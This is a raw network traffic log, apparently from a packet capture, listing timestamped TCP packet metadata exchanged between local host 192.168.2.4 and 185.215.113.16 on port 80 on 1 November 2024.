Nov 1, 2024 08:50:19.100274086 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.100279093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100322008 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.100322008 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.100415945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100434065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100445032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100456953 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100467920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100474119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100478888 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.100516081 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.100526094 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.100564957 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100577116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100626945 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.100753069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100764036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100775003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100790977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100801945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100811958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100822926 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100822926 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.100833893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100842953 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.100855112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100881100 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.100881100 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.100883007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100893974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100903988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100915909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100925922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100929976 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.100940943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.100971937 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.100971937 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.101003885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101016045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101026058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101077080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.101077080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.101191998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101202965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101213932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101223946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101234913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101247072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101258039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101267099 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.101269960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101280928 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.101324081 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.101344109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101355076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101365089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101403952 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.101541042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101553917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101563931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101573944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101584911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101596117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101620913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.101620913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.101665974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101676941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101687908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101697922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101710081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101721048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101752996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.101752996 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.101850033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101861954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101872921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101883888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101896048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101906061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101917028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101927042 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.101927042 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.101927996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.101943970 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.101989031 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.102010965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102020979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102030993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102049112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102060080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102071047 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102081060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102081060 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.102092028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102104902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102108002 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.102125883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.102138996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102139950 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.102150917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102163076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102211952 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.102313995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102324963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102427006 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.102464914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102475882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102487087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102498055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102547884 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.102596045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102607012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102617979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102627993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102639914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102650881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102659941 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.102659941 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.102669954 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.102746964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102757931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102767944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102778912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102790117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102791071 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.102806091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102817059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102818966 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.102828026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102833033 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.102840900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102859974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102873087 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.102874994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.102917910 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.102951050 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.103075027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103086948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103096962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103107929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103120089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103131056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103142977 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.103178978 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.103221893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103233099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103244066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103255033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103272915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103279114 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.103333950 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.103426933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103437901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103447914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103458881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103471041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103482008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103487015 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.103487015 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.103492975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103504896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103511095 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.103518009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103539944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103555918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103564024 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.103568077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103585005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103590965 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.103595972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103605986 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.103641033 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.103739023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103754997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103765965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103776932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103787899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103801012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103805065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.103840113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.103888035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103888988 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.103902102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103915930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103929043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.103948116 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.103959084 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.104065895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104079008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104093075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104104996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104110003 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.104115963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104126930 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104140997 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.104171038 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.104234934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104245901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104255915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104268074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104279041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104290009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104301929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104319096 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.104367971 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.104367971 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.104373932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104386091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104396105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104407072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104418039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104429007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104456902 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.104456902 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.104474068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.104532003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104542971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104552031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104562998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104573011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104583979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104593039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.104593039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.104595900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104607105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104617119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104630947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104635954 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.104656935 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.104665041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104676962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104686975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104691982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.104738951 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.104820967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104832888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104844093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104854107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104865074 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104876041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104890108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104901075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104903936 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.104903936 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.104916096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104933023 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.104938030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104948997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104959965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.104984045 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.105006933 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.105088949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105101109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105175972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.105395079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105417967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105436087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105446100 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.105447054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105458975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105489969 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.105529070 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.105547905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105559111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105570078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105637074 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.105716944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105729103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105740070 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105751991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105752945 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.105762959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105767965 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.105779886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105791092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105803967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105813026 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.105844021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105854988 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105863094 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.105866909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105878115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105889082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105894089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105899096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105905056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105910063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105911016 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.105911016 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.105916023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105926037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105968952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105979919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.105990887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.106002092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.106015921 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.106017113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.106029987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.106045008 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.106108904 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.330892086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.330936909 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.802944899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.803059101 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.856992960 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.861865997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.861884117 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.861895084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.861951113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.884358883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.889341116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889441013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889451981 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889462948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889473915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889484882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889503956 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.889511108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889523029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889549017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.889580965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889594078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889672041 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.889698982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889708996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889719009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889733076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889744043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889744043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.889755011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889763117 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.889765978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889786005 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.889816046 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:50:19.889842033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889853001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889863014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889873028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 08:50:19.889883995 CET	80	49738	185.215.113.16	192.168.2.4
